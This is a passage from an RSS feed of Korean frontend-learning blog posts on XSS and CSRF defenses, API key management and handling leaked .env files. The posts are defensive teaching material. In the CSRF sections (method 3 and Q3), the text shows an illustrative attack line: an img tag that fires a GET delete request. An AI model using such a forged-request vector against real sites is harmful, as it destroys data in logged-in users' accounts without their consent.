       → &quot;여기에 로그인하세요&quot; → 사용자가 아이디/비밀번호 입력

CSRF:  아무 사이트에서 우리 사이트로 몰래 요청만 보냄
       → 사용자가 뭔가를 입력할 필요도 없음
       → 페이지 방문만 해도 공격 당함</code></pre><h3 id="어떻게-막는가-1">어떻게 막는가?</h3>
<p><strong>방법 1: CSRF 토큰</strong></p>
<p>서버가 매 요청마다 일회용 비밀번호를 발급한다.</p>
<pre><code>1. 비밀번호 변경 페이지 접속 → 서버가 CSRF 토큰 발급: &quot;xyz789&quot;
2. 변경 요청 보낼 때 이 토큰도 같이 보내야 함
3. 토큰 맞으면 처리, 틀리면 거부
→ 해커는 이 토큰을 모르니까 요청 위조 불가!</code></pre><p><strong>방법 2: SameSite 쿠키 설정</strong></p>
<pre><code>Set-Cookie: session=abc123; SameSite=Strict
→ 다른 사이트에서 보낸 요청에는 쿠키를 안 보냄
→ 해커 사이트에서 요청해도 로그인 안 된 상태로 취급</code></pre><p><strong>방법 3: 중요한 요청은 GET이 아닌 POST로</strong></p>
<pre><code>❌ GET /api/delete?id=123
   → &lt;img src=&quot;우리사이트/api/delete?id=123&quot;&gt; 로 쉽게 공격 가능

✅ POST /api/delete
   → &lt;img&gt; 태그로는 POST 요청을 못 보냄 → 공격 난이도 올라감</code></pre><hr>
<h2 id="📊-xss-vs-csrf-한눈에-비교">📊 XSS vs CSRF 한눈에 비교</h2>
<table>
<thead>
<tr>
<th></th>
<th>XSS</th>
<th>CSRF</th>
</tr>
</thead>
<tbody><tr>
<td>공격 위치</td>
<td>우리 사이트 안</td>
<td>해커 사이트에서</td>
</tr>
<tr>
<td>공격 방식</td>
<td>악성 스크립트 삽입</td>
<td>가짜 요청 전송</td>
</tr>
<tr>
<td>사용자 행동</td>
<td>우리 사이트 방문하면 당함</td>
<td>해커 사이트 방문만 해도 당함</td>
</tr>
<tr>
<td>훔치는 것</td>
<td>쿠키, 개인정보</td>
<td>사용자의 권한으로 행동</td>
</tr>
<tr>
<td>방어</td>
<td>React {}, DOMPurify, CSP</td>
<td>CSRF 토큰, SameSite 쿠키, POST</td>
</tr>
<tr>
<td>레스토랑 비유</td>
<td>메뉴판에 가짜 안내문 끼움</td>
<td>다른 곳에서 가짜 주문 보냄</td>
</tr>
</tbody></table>
<hr>
<h2 id="✅-프론트엔드-개발자-보안-체크리스트">✅ 프론트엔드 개발자 보안 체크리스트</h2>
<pre><code>✅ 1. 사용자 입력을 innerHTML로 렌더링하지 않기
✅ 2. dangerouslySetInnerHTML 쓸 때 반드시 DOMPurify로 살균
✅ 3. NEXT_PUBLIC_에 시크릿 키 넣지 않기 (Day 16)
✅ 4. .env를 git에 올리지 않기 (Day 17)
✅ 5. API 요청은 가능하면 POST 사용
✅ 6. 외부 데이터를 그대로 렌더링하지 않기
✅ 7. HTTPS 사용</code></pre><p>요즘 대부분의 사이트와 브라우저는 이미 방어가 되어 있다.
SameSite 쿠키가 기본값이고, HTTPS도 보편화되어 있다.</p>
<p>그래서 우리가 집중해야 할 건 &quot;내가 만든 사이트는 괜찮은가?&quot;다.
<strong>공격당하는 사용자 입장보다, 방어해야 하는 개발자 입장이 더 중요하다.</strong></p>
<hr>
<h2 id="🔍-내-프로젝트에서-지금-바로-점검하기">🔍 내 프로젝트에서 지금 바로 점검하기</h2>
<pre><code>1. 프로젝트에서 dangerouslySetInnerHTML 검색
   → 사용자 입력이 들어가는지 확인 → DOMPurify 적용!

2. 프로젝트에서 innerHTML 검색
   → 사용자 입력을 넣고 있다면 textContent로 변경

3. GET으로 데이터를 변경하는 API가 있는지 확인
   → 삭제, 수정, 결제 같은 건 POST/PUT/DELETE로</code></pre><hr>
<h2 id="🍳-레스토랑-비유-업데이트">🍳 레스토랑 비유 업데이트</h2>
<table>
<thead>
<tr>
<th>레스토랑</th>
<th>서버</th>
</tr>
</thead>
<tbody><tr>
<td>메뉴판에 가짜 안내문 끼움</td>
<td>XSS (악성 스크립트 삽입)</td>
</tr>
<tr>
<td>다른 곳에서 가짜 주문 보냄</td>
<td>CSRF (가짜 요청 위조)</td>
</tr>
<tr>
<td>가짜 레스토랑 만들어서 속임</td>
<td>피싱 (Phishing)</td>
</tr>
<tr>
<td>&quot;방명록은 텍스트만 가능&quot; 규칙</td>
<td>innerHTML 대신 textContent</td>
</tr>
<tr>
<td>주문할 때 오늘의 비밀번호 확인</td>
<td>CSRF 토큰</td>
</tr>
<tr>
<td>&quot;VIP 카드는 매장 안에서만 유효&quot;</td>
<td>SameSite 쿠키</td>
</tr>
<tr>
<td>방명록 내용을 소독 후 게시</td>
<td>DOMPurify로 살균</td>
</tr>
</tbody></table>
<hr>
<h2 id="🎯-오늘-배운-것-최종-정리">🎯 오늘 배운 것 최종 정리</h2>
<ol>
<li><strong>XSS</strong>: 해커가 &quot;우리 사이트 안에&quot; 악성 스크립트를 심는 공격</li>
<li><strong>XSS 방어</strong>: React <code>{}</code>는 자동 방어, <code>dangerouslySetInnerHTML</code>은 위험, DOMPurify로 살균</li>
<li><strong>CSRF</strong>: 해커가 &quot;다른 사이트에서&quot; 우리 사이트로 가짜 요청을 보내는 공격</li>
<li><strong>CSRF 방어</strong>: CSRF 토큰, SameSite 쿠키, 중요한 요청은 POST로</li>
<li><strong>피싱과 CSRF는 다르다</strong>: 피싱은 가짜 사이트로 속이는 것, CSRF는 몰래 요청 보내는 것</li>
<li><strong>핵심 관점</strong>: &quot;내가 만든 사이트가 안전한가?&quot; 방어하는 개발자 입장이 중요</li>
</ol>
<hr>
<h2 id="🧪-이해도-체크">🧪 이해도 체크</h2>
<p><strong>Q1. XSS와 CSRF의 차이는?</strong>
→ 정답: XSS는 우리 사이트 안에 악성 스크립트를 심는 공격. CSRF는 해커 사이트에서 우리 사이트로 가짜 요청을 보내는 공격. XSS는 &quot;안에서&quot;, CSRF는 &quot;밖에서&quot;.</p>
<p><strong>Q2. React에서 안전한 방법과 위험한 방법은?</strong>
→ 정답: <code>{content}</code>는 안전 (자동 이스케이프). <code>dangerouslySetInnerHTML</code>은 위험 (이스케이프 무시). 꼭 써야 하면 DOMPurify로 살균.</p>
<p><strong>Q3. 상품 삭제 API를 GET으로 만들면 위험한 이유는?</strong>
→ 정답: <code>&lt;img src=&quot;우리사이트/api/delete?id=123&quot;&gt;</code>처럼 img 태그로 GET 요청을 쉽게 보낼 수 있다. 로그인된 사용자가 해커 사이트를 방문만 해도 상품이 삭제될 수 있음 (CSRF 공격).</p>
<hr>
<h2 id="💭-회고">💭 회고</h2>
<p>보안은 처음 들으면 헷갈리는 게 당연하다.
특히 XSS, CSRF, 피싱 이 세 가지가 처음에 섞였었는데 정리하고 나니 확실해졌다.</p>
<pre><code>XSS:  우리 사이트 &quot;안에&quot; 코드를 심는다
CSRF: &quot;밖에서&quot; 우리 사이트로 요청을 보낸다
피싱: 가짜 사이트를 만들어 속인다</code></pre><p>가장 인상 깊었던 건, CSRF는 사용자가 아무것도 안 해도 페이지 방문만으로 공격당한다는 것.
<code>&lt;img&gt;</code> 태그 하나로 GET 요청이 자동으로 나간다는 게 충격이었다.
그래서 중요한 API는 POST로 만들어야 한다는 게 납득이 됐다.</p>
<p>그리고 React가 기본적으로 XSS를 막아주고 있다는 것도 새로 알았다.
평소에 <code>{content}</code>로 렌더링하는 게 당연했는데, 그게 보안 기능이었다니.
<code>dangerouslySetInnerHTML</code>만 조심하면 된다.</p>
<hr>
<h2 id="📚-다음-학습-예고">📚 다음 학습 예고</h2>
<blockquote>
<p><strong>Day 20: Part 2 회고 + 총정리</strong>
환경변수·시크릿·보안 5일간의 내용을 하나로 연결한다.</p>
</blockquote>
<p>#프론트엔드 #보안 #XSS #CSRF #웹보안 #2년차개발자 #기초다시쌓기</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Day 18] API 키 관리 best practice + .env.example의 역할]]></title>
            <link>https://velog.io/@jjang_hyo/Day-18-API-%ED%82%A4-%EA%B4%80%EB%A6%AC-best-practice-.env.example%EC%9D%98-%EC%97%AD%ED%95%A0</link>
            <guid>https://velog.io/@jjang_hyo/Day-18-API-%ED%82%A4-%EA%B4%80%EB%A6%AC-best-practice-.env.example%EC%9D%98-%EC%97%AD%ED%95%A0</guid>
            <pubDate>Wed, 06 May 2026 02:53:15 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>프론트엔드 기초 다시 쌓기 챌린지 18일차.
Part 2 &quot;환경변수·시크릿·보안&quot;의 세 번째 수업.</p>
<p>Day 16에서 NEXT_PUBLIC_ 규칙을, Day 17에서 .env 관리법을 배웠다면,
오늘은 <strong>API 키를 체계적으로 관리하는 실전 패턴</strong>을 배웠다.</p>
</blockquote>
<hr>
<h2 id="🍳-오늘의-비유-납품업체-카드가-두-종류다">🍳 오늘의 비유: &quot;납품업체 카드가 두 종류다&quot;</h2>
<p>납품업체에서 카드를 두 장 줬다.</p>
<pre><code>🔓 주문 카드 (공개 키 / Publishable Key)
   - 직원 누구나 써도 됨
   - 잃어버려도 큰 문제 없음 (주문만 가능하니까)

🔒 정산 카드 (시크릿 키 / Secret Key)
   - 사장님만 갖고 있어야 함
   - 잃어버리면 누가 돈을 빼갈 수 있음!</code></pre><p>API 키도 똑같다. 대부분의 서비스가 <strong>공개 키와 시크릿 키를 한 쌍으로</strong> 준다.</p>
<hr>
<h2 id="🔑-공개-키-vs-시크릿-키">🔑 공개 키 vs 시크릿 키</h2>
<h3 id="실제-서비스-예시">실제 서비스 예시</h3>
<pre><code class="language-env"># Stripe (결제)
NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY=pk_live_abc123   # 🔓 공개 키
STRIPE_SECRET_KEY=sk_live_xyz789                      # 🔒 시크릿 키

# 카페24 API
NEXT_PUBLIC_CAFE24_CLIENT_ID=app_abc123    # 🔓 클라이언트 ID
CAFE24_CLIENT_SECRET=secret_xyz789          # 🔒 클라이언트 시크릿

# Google Maps
NEXT_PUBLIC_GOOGLE_MAPS_KEY=AIza_abc123    # 🔓 브라우저에서 지도 띄울 때
GOOGLE_MAPS_SERVER_KEY=AIza_xyz789          # 🔒 서버에서 좌표 변환할 때</code></pre>
<h3 id="이름으로-구분하는-법">이름으로 구분하는 법</h3>
<pre><code>🔓 공개 가능 (이런 이름이면 공개 OK)
   - publishable, public, client_id
   - pk_ 로 시작

🔒 비밀 (이런 이름이면 비밀!)
   - secret, private, server
   - sk_ 로 시작</code></pre><p><strong>판단이 안 되면 시크릿으로 취급한다.</strong> 안전한 쪽으로 가는 게 정답.</p>
<hr>
<h2 id="🧪-테스트-키-vs-라이브-키">🧪 테스트 키 vs 라이브 키</h2>
<p>거의 모든 API 서비스가 <strong>테스트 키와 라이브 키</strong>를 따로 준다:</p>
<pre><code>테스트 키 (test/sandbox):
  - 실제 결제 안 됨, 개발할 때 사용
  - sk_test_..., pk_test_...

라이브 키 (live/production):
  - 실제 결제 됨, 실서비스에서 사용
  - sk_live_..., pk_live_...</code></pre><pre><code class="language-env"># .env.development (개발용 - 테스트 키)
STRIPE_SECRET_KEY=sk_test_개발용키

# .env.production (실서비스 - 라이브 키)
STRIPE_SECRET_KEY=sk_live_실제키</code></pre>
<h3 id="⚠️-개발할-때-라이브-키를-쓰면">⚠️ 개발할 때 라이브 키를 쓰면?</h3>
<p>인증 에러가 나는 게 아니라 <strong>정상 작동해버리는 게 문제다!</strong></p>
<pre><code>테스트 키로 결제 → 가짜 결제 (돈 안 빠져나감) ✅
라이브 키로 결제 → 진짜 결제 (돈이 빠져나감!) 😱</code></pre><p>개발하면서 테스트 결제를 10번 했는데 라이브 키였다면?
<strong>진짜로 10번 결제된 것이다.</strong> 고객 카드에서 실제로 돈이 빠져나간다.</p>
<p>레스토랑 비유: 연습 주문이라고 생각하고 10번 주문했는데,
진짜 납품처(라이브 키)로 보내서 실제 재료가 10번 배달되고 비용이 청구된 것.</p>
<p>그래서 <code>.env.development</code>에는 반드시 테스트 키를,
<code>.env.production</code>에만 라이브 키를 넣어야 한다.</p>
<hr>
<h2 id="⭐-api-키-관리-best-practice-5가지">⭐ API 키 관리 Best Practice 5가지</h2>
<h3 id="1-키-이름에-용도를-명확하게">1. 키 이름에 용도를 명확하게</h3>
<pre><code class="language-env"># ❌ 나쁜 예: 뭐가 뭔지 모름
KEY1=abc123
KEY2=xyz789

# ✅ 좋은 예: 이름만 봐도 알 수 있음
NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY=pk_live_abc123
STRIPE_SECRET_KEY=sk_live_xyz789</code></pre>
<h3 id="2-환경별로-키를-분리">2. 환경별로 키를 분리</h3>
<pre><code class="language-env"># .env.development → 테스트 키
# .env.production  → 라이브 키</code></pre>
<h3 id="3-키에-권한-제한-걸기">3. 키에 권한 제한 걸기</h3>
<p>API 서비스 대시보드에서 키의 권한을 최소한으로 설정한다.</p>
<pre><code>❌ 모든 권한이 열린 키 (읽기, 쓰기, 삭제, 관리자 전부)
✅ 필요한 권한만 열린 키 (읽기 전용 등)</code></pre><p>레스토랑 비유: 직원 카드에 &quot;식재료 주문만 가능, 한도 50만 원&quot; 제한을 거는 것.</p>
<h3 id="4-키를-주기적으로-교체-key-rotation">4. 키를 주기적으로 교체 (Key Rotation)</h3>
<pre><code>3~6개월마다:
1. 새 키 발급
2. .env, GitHub Secrets, 서버에 새 키 적용
3. 정상 작동 확인
4. 이전 키 삭제/무효화</code></pre><p>키가 언제 유출됐는지 모를 수 있으니 주기적으로 바꾸면 피해 기간을 줄일 수 있다.</p>
<h3 id="5-키를-코드에-절대-하드코딩하지-않기">5. 키를 코드에 절대 하드코딩하지 않기</h3>
<pre><code class="language-javascript">// ❌ 절대 이렇게 하면 안 됨!
const stripe = new Stripe(&quot;sk_live_xyz789_진짜키&quot;);

// ❌ 주석에도 쓰면 안 됨!
// API 키: sk_live_xyz789 ← git에 올라감!

// ✅ 항상 환경변수에서 가져오기
const stripe = new Stripe(process.env.STRIPE_SECRET_KEY);</code></pre>
<hr>
<h2 id="📄-envexample-실전-가이드">📄 .env.example 실전 가이드</h2>
<h3 id="좋은-envexample-작성법">좋은 .env.example 작성법</h3>
<pre><code class="language-env"># .env.example
# 이 파일을 .env.local로 복사한 뒤 실제 값을 입력하세요.
# cp .env.example .env.local

# ============================================
# 🔓 공개 키 (NEXT_PUBLIC_)
# ============================================

# Stripe 결제 (https://dashboard.stripe.com/apikeys)
NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY=pk_test_여기에입력

# Google Maps (https://console.cloud.google.com)
NEXT_PUBLIC_GOOGLE_MAPS_KEY=여기에입력

# 사이트 기본 설정
NEXT_PUBLIC_SITE_URL=http://localhost:4040

# ============================================
# 🔒 시크릿 키 (서버 전용)
# ============================================

# Stripe 결제 시크릿
STRIPE_SECRET_KEY=sk_test_여기에입력

# 데이터베이스
DATABASE_URL=postgresql://user:password@localhost:5432/mydb

# 카페24 API
CAFE24_CLIENT_ID=여기에입력
CAFE24_CLIENT_SECRET=여기에입력

# ============================================
# 📝 참고사항
# ============================================
# - 개발 시에는 test 키 사용 (sk_test_, pk_test_)
# - 프로덕션 키는 팀 리더에게 문의
# - 절대 이 파일에 실제 키를 입력하지 마세요!</code></pre>
<h3 id="포인트-정리">포인트 정리</h3>
<pre><code>✅ 공개 키와 시크릿 키를 구분해서 정리
✅ 각 키를 어디서 발급받는지 URL 표시
✅ 설명 주석 달기
✅ 복사 명령어 안내
✅ &quot;여기에입력&quot; 같은 플레이스홀더 사용
❌ 실제 키 값을 절대 넣지 않기!</code></pre><hr>
<h2 id="🔄-키-하나의-일생-전체-흐름">🔄 키 하나의 일생: 전체 흐름</h2>
<pre><code>[1. 키 발급]
API 서비스 대시보드에서 테스트 키 + 라이브 키 한 쌍 발급

[2. 키 저장 - 3곳에]
내 컴퓨터: .env.local에 테스트 키
서버: .env에 라이브 키
CI/CD: GitHub Secrets에 라이브 키

[3. 키 사용]
공개 키 → NEXT_PUBLIC_ 붙여서 브라우저에서 사용
시크릿 키 → 서버 사이드 코드에서만 사용

[4. 키 가이드]
.env.example에 &quot;이런 키가 필요해요&quot; 기록 → git에 올려서 팀 공유

[5. 키 교체 (3~6개월마다)]
새 키 발급 → 3곳 업데이트 → 이전 키 삭제

[6. 키 유출 시]
키 즉시 무효화 → 새 키 발급 → 3곳 업데이트</code></pre><hr>
<h2 id="🔗-day-1618-연결-환경변수-3일-총정리">🔗 Day 16~18 연결: 환경변수 3일 총정리</h2>
<pre><code>Day 16: NEXT_PUBLIC_ 붙으면 브라우저 노출, 안 붙으면 서버 전용
        → 빌드할 때 JS 파일에 값이 직접 박히기 때문

Day 17: 환경별 .env 파일 + 유출 시 키 무효화가 1순위
        → .env.local &gt; .env.development/.production &gt; .env

Day 18: 공개 키 vs 시크릿 키 구분 + 키 관리 5가지 원칙
        → 테스트 키와 라이브 키 분리, 하드코딩 절대 금지</code></pre><hr>
<h2 id="🍳-레스토랑-비유-업데이트">🍳 레스토랑 비유 업데이트</h2>
<table>
<thead>
<tr>
<th>레스토랑</th>
<th>서버</th>
</tr>
</thead>
<tbody><tr>
<td>주문 카드 (직원 누구나 사용)</td>
<td>공개 키 (Publishable Key)</td>
</tr>
<tr>
<td>정산 카드 (사장님만 보관)</td>
<td>시크릿 키 (Secret Key)</td>
</tr>
<tr>
<td>연습용 납품처</td>
<td>테스트 키 (sk_test_, pk_test_)</td>
</tr>
<tr>
<td>진짜 납품처</td>
<td>라이브 키 (sk_live_, pk_live_)</td>
</tr>
<tr>
<td>카드에 &quot;주문용&quot; 라벨</td>
<td>키 이름에 용도 명시</td>
</tr>
<tr>
<td>카드 한도 제한</td>
<td>키 권한 최소한으로 설정</td>
</tr>
<tr>
<td>자물쇠 주기적 교체</td>
<td>Key Rotation (3~6개월)</td>
</tr>
<tr>
<td>카드 번호를 메뉴판에 적음</td>
<td>키를 코드에 하드코딩 = 대참사</td>
</tr>
</tbody></table>
<hr>
<h2 id="🎯-오늘-배운-것-최종-정리">🎯 오늘 배운 것 최종 정리</h2>
<ol>
<li><strong>공개 키 vs 시크릿 키</strong>: publishable/pk_ = 공개 OK, secret/sk_ = 비밀!</li>
<li><strong>판단이 안 되면 시크릿으로</strong>: 안전한 쪽으로 가는 게 정답</li>
<li><strong>테스트 키 vs 라이브 키</strong>: 개발은 테스트 키, 실서비스는 라이브 키</li>
<li><strong>라이브 키를 개발에 쓰면</strong>: 에러가 나는 게 아니라 진짜 작동해버림 (진짜 결제!)</li>
<li><strong>키 관리 5가지</strong>: 이름 명확히, 환경별 분리, 권한 제한, 주기적 교체, 하드코딩 금지</li>
<li><strong>.env.example</strong>: 공개/시크릿 구분, 발급 URL 표시, 플레이스홀더 사용</li>
</ol>
<hr>
<h2 id="🧪-이해도-체크">🧪 이해도 체크</h2>
<p><strong>Q1. pk_live_abc123과 sk_live_xyz789 각각 어디서 사용?</strong>
→ 정답: pk(공개 키)는 NEXT_PUBLIC_ 붙여서 브라우저에서 사용. sk(시크릿 키)는 서버 사이드 코드에서만 사용.</p>
<p><strong>Q2. 개발할 때 라이브 키를 쓰면?</strong>
→ 정답: 인증 에러가 나는 게 아니라 정상 작동해버린다. 테스트 결제가 진짜 결제가 되어 실제로 돈이 빠져나감.</p>
<p><strong>Q3. 새 팀원이 빠르게 프로젝트 세팅하려면?</strong>
→ 정답: .env.example이 잘 정리되어 있어야 한다. 어떤 키가 필요한지, 어디서 발급받는지, 공개/시크릿 구분까지 적혀있으면 빠르게 세팅 가능.</p>
<hr>
<h2 id="💭-회고">💭 회고</h2>
<p>환경변수에 대해 3일 연속 배우고 있는데, 매일 &quot;이건 몰랐다&quot; 하는 게 나온다.</p>
<p>오늘 가장 충격이었던 건 <strong>라이브 키를 개발에 쓰면 에러가 나는 게 아니라 진짜 작동해버린다</strong>는 것.
&quot;테스트 결제가 진짜 결제가 된다&quot;는 말에 소름이 돋았다.
<code>.env.development</code>에 테스트 키, <code>.env.production</code>에 라이브 키를 분리하는 게
단순한 정리가 아니라 <strong>사고 예방</strong>이었다.</p>
<p>그리고 .env.example 작성법을 배우면서,
&quot;코드만 잘 짜면 되는 게 아니라 팀이 같이 쓸 수 있게 정리하는 것도 개발&quot;이라는 걸 느꼈다.</p>
<hr>
<h2 id="📚-다음-학습-예고">📚 다음 학습 예고</h2>
<blockquote>
<p><strong>Day 19: 프론트엔드 보안 기본기 (XSS, CSRF 개념)</strong>
해커가 우리 사이트를 어떻게 공격하는지, 어떻게 막는지 배운다.</p>
</blockquote>
<p>#프론트엔드 #API키 #환경변수 #보안 #env #2년차개발자 #기초다시쌓기</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Day 17] process.env 사용법 + 환경변수 실수로 커밋했을 때 대처법]]></title>
            <link>https://velog.io/@jjang_hyo/Day-17-process.env-%EC%82%AC%EC%9A%A9%EB%B2%95-%ED%99%98%EA%B2%BD%EB%B3%80%EC%88%98-%EC%8B%A4%EC%88%98%EB%A1%9C-%EC%BB%A4%EB%B0%8B%ED%96%88%EC%9D%84-%EB%95%8C-%EB%8C%80%EC%B2%98%EB%B2%95</link>
            <guid>https://velog.io/@jjang_hyo/Day-17-process.env-%EC%82%AC%EC%9A%A9%EB%B2%95-%ED%99%98%EA%B2%BD%EB%B3%80%EC%88%98-%EC%8B%A4%EC%88%98%EB%A1%9C-%EC%BB%A4%EB%B0%8B%ED%96%88%EC%9D%84-%EB%95%8C-%EB%8C%80%EC%B2%98%EB%B2%95</guid>
            <pubDate>Wed, 06 May 2026 02:21:34 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>프론트엔드 기초 다시 쌓기 챌린지 17일차.
Part 2 &quot;환경변수·시크릿·보안&quot;의 두 번째 수업.</p>
</blockquote>
<p>어제 NEXT_PUBLIC_의 비밀을 배웠다면,
오늘은 <strong>환경변수를 환경별로 관리하는 법</strong>과 <strong>유출 사고 대처법</strong>을 배웠다.</p>
<hr>
<h2 id="🍳-오늘의-비유-본점과-2호점의-재료-납품업체가-다르다">🍳 오늘의 비유: &quot;본점과 2호점의 재료 납품업체가 다르다&quot;</h2>
<p>레스토랑이 확장됐다.</p>
<pre><code>본점 (개발 환경)     → 동네 시장에서 재료 구매 (싸고 빠름)
2호점 (테스트 환경)  → 도매시장에서 재료 구매 (양이 많음)
3호점 (실서비스 환경) → 프리미엄 납품업체에서 구매 (품질 최고)</code></pre><p>같은 레시피(코드)인데 <strong>지점마다 납품처(환경변수)가 다르다.</strong>
레시피를 바꾸는 게 아니라 납품처 목록만 바꾸면 된다.</p>
<hr>
<h2 id="📁-환경별-env-파일">📁 환경별 .env 파일</h2>
<p>Next.js에서는 여러 개의 <code>.env</code> 파일을 쓸 수 있다:</p>
<pre><code>내 프로젝트/
├── .env                 ← 모든 환경에서 공통으로 쓰는 값
├── .env.local           ← 내 컴퓨터에서만 쓰는 값 (git에 안 올림)
├── .env.development     ← yarn dev 할 때 쓰는 값
├── .env.production      ← yarn build + yarn start 할 때 쓰는 값
└── .env.test            ← 테스트 돌릴 때 쓰는 값</code></pre><p><strong>우선순위</strong> (위가 가장 높음):</p>
<pre><code>1. .env.local              ← 최우선 (내 컴퓨터 전용)
2. .env.development        ← dev 모드일 때
   .env.production         ← production 모드일 때
3. .env                    ← 기본값 (가장 낮음)</code></pre><h3 id="실제-예시">실제 예시</h3>
<pre><code class="language-env"># .env.development (yarn dev 할 때)
NEXT_PUBLIC_API_URL=http://localhost:3000/api
DATABASE_URL=postgresql://user:1234@localhost:5432/mydb_dev</code></pre>
<pre><code class="language-env"># .env.production (yarn build + yarn start 할 때)
NEXT_PUBLIC_API_URL=https://api.mysite.com
DATABASE_URL=postgresql://user:secret@real-server:5432/mydb_prod</code></pre>
<p>같은 코드인데 환경에 따라 다른 값이 들어간다:</p>
<pre><code class="language-javascript">const apiUrl = process.env.NEXT_PUBLIC_API_URL;
// yarn dev → http://localhost:3000/api
// yarn start → https://api.mysite.com</code></pre>
<h3 id="내-프로젝트-scripts와-연결">내 프로젝트 scripts와 연결</h3>
<pre><code class="language-json">{
  &quot;dev&quot;: &quot;next dev -p 4040&quot;,        // → .env.development 사용
  &quot;build&quot;: &quot;next build&quot;,            // → .env.production 사용
  &quot;start&quot;: &quot;next start -p 5008&quot;,    // → .env.production 사용
  &quot;devStart&quot;: &quot;next start -p 5007&quot;  // → .env.production 사용 (next start니까!)
}</code></pre>
<p><strong>주의!</strong> <code>devStart</code>는 이름에 dev가 있지만 <code>next start</code>를 실행하니까 production 환경변수를 사용한다.
Day 5에서 배운 것처럼 dev/production은 이름이 아니라 <strong>모드</strong>로 결정된다.</p>
<hr>
<h2 id="⚠️-processenv-사용-시-흔한-실수-3가지">⚠️ process.env 사용 시 흔한 실수 3가지</h2>
<h3 id="실수-1-구조분해-할당으로-꺼내기">실수 1: 구조분해 할당으로 꺼내기</h3>
<pre><code class="language-javascript">// ❌ 이렇게 하면 안 됨!
const { API_URL } = process.env;

// ✅ 이렇게 써야 함
const apiUrl = process.env.API_URL;</code></pre>
<p>Next.js는 빌드할 때 <code>process.env.변수명</code>이라는 정확한 패턴을 찾아서 값을 치환한다.
구조분해하면 이 패턴을 못 찾는다.</p>
<h3 id="실수-2-환경변수-변경-후-서버-안-껐다-켜기">실수 2: 환경변수 변경 후 서버 안 껐다 켜기</h3>
<pre><code>.env 파일 수정 → yarn dev가 이미 돌아가고 있음
→ 변경된 값이 반영 안 됨!
→ yarn dev 껐다 다시 켜야 반영됨</code></pre><p>환경변수는 <strong>서버가 시작할 때 한 번만 읽는다.</strong> 중간에 바꾸면 재시작해야 한다.</p>
<h3 id="실수-3-env-파일에-따옴표-쓰기">실수 3: .env 파일에 따옴표 쓰기</h3>
<pre><code class="language-env"># ❌ 따옴표가 값에 포함됨
API_KEY=&quot;sk-abc123&quot;    → 실제 값: &quot;sk-abc123&quot; (따옴표 포함!)

# ✅ 따옴표 없이
API_KEY=sk-abc123      → 실제 값: sk-abc123</code></pre>
<hr>
<h2 id="🚨-env를-실수로-git에-올려버렸을-때">🚨 .env를 실수로 git에 올려버렸을 때</h2>
<h3 id="왜-심각한가">왜 심각한가?</h3>
<pre><code>.env에 있는 값:
DATABASE_URL=postgresql://user:비밀번호@서버주소:5432/mydb
PAYMENT_SECRET=pay_live_진짜키

이걸 git push하면:
→ GitHub에 올라감
→ 저장소가 public이면 전 세계가 봄
→ 해커 봇이 GitHub를 24시간 스캔하고 있음!
→ AWS 키가 노출되면 몇 분 안에 수백만 원 요금 발생 사례도 있음</code></pre><p>레스토랑 비유: 비밀 소스 레시피를 SNS에 올린 것과 같다.
삭제해도 누가 이미 스크린샷을 떴을 수 있다.</p>
<h3 id="사고-대응-5단계">사고 대응 5단계</h3>
<p><strong>1단계: 즉시 키 무효화 (가장 먼저!)</strong></p>
<pre><code>삭제가 먼저가 아니라 키를 무효화하는 게 먼저!

→ AWS 키: IAM에서 키 비활성화/삭제
→ 결제 키: 대시보드에서 키 재발급
→ DB 비밀번호: 비밀번호 변경</code></pre><p>git에서 삭제해도 커밋 기록에 남아있다.
누가 이미 봤을 수 있으니까 키 자체를 못 쓰게 만드는 게 먼저다.</p>
<p>레스토랑 비유: 유출된 레시피를 SNS에서 지우는 것보다 <strong>레시피를 바꾸는 게 먼저.</strong></p>
<p><strong>2단계: .env를 git에서 제거</strong></p>
<pre><code class="language-bash">git rm --cached .env
git rm --cached .env.local</code></pre>
<p><strong>3단계: .gitignore에 추가</strong></p>
<pre><code class="language-bash"># .gitignore
.env
.env.local
.env.development
.env.production
.env*.local</code></pre>
<p><strong>4단계: 커밋하고 push</strong></p>
<pre><code class="language-bash">git add .gitignore
git commit -m &quot;fix: .env 파일 git 추적 제거, gitignore 추가&quot;
git push</code></pre>
<p><strong>5단계: 새 키 발급 + 모든 곳에 업데이트</strong></p>
<pre><code>무효화한 키 대신 새 키 발급
→ 내 컴퓨터 .env에 새 키
→ 서버 .env에도 새 키
→ GitHub Secrets에도 새 키 (CI/CD용)</code></pre><hr>
<h2 id="🛡️-애초에-사고를-예방하는-법">🛡️ 애초에 사고를 예방하는 법</h2>
<h3 id="방법-1-gitignore에-미리-등록">방법 1: .gitignore에 미리 등록</h3>
<p>프로젝트 시작할 때 <strong>제일 먼저</strong> 등록:</p>
<pre><code class="language-bash"># .gitignore
.env
.env.local
.env.development
.env.production
.env*.local</code></pre>
<h3 id="방법-2-envexample-만들기">방법 2: .env.example 만들기</h3>
<p><code>.env</code>는 git에 안 올리지만, 어떤 환경변수가 필요한지는 알려줘야 한다.</p>
<pre><code class="language-env"># .env.example (이건 git에 올림!)
# 이 파일을 .env로 복사하고 실제 값을 채워주세요.

NEXT_PUBLIC_API_URL=여기에_API_URL_입력
DATABASE_URL=여기에_DB_URL_입력
API_SECRET_KEY=여기에_시크릿키_입력</code></pre>
<pre><code>.env          → 실제 값 (git에 안 올림)
.env.example  → &quot;이런 값들이 필요해요&quot; 가이드 (git에 올림)</code></pre><p>새로운 팀원이 오면:</p>
<pre><code>1. .env.example을 보고 어떤 값이 필요한지 이해
2. .env.example을 .env로 복사
3. 팀 리더한테 실제 값을 받아서 채움</code></pre><h3 id="방법-3-git-add-전에-확인">방법 3: git add 전에 확인</h3>
<pre><code class="language-bash">git status        # .env가 목록에 있으면 ❌
git diff --staged # 커밋할 내용 미리 보기</code></pre>
<hr>
<h2 id="🔗-환경변수가-존재하는-3곳">🔗 환경변수가 존재하는 3곳</h2>
<pre><code>1. 내 컴퓨터    → .env 파일 (git에 안 올림)
2. CI/CD       → GitHub Secrets (저장소 Settings)
3. 서버        → .env 파일 또는 서버 환경변수 설정</code></pre><p>이 3곳에 <strong>같은 값이 동기화</strong>되어 있어야 한다.
하나라도 빠지면 빌드 에러가 나거나 사이트가 이상하게 동작한다.</p>
<hr>
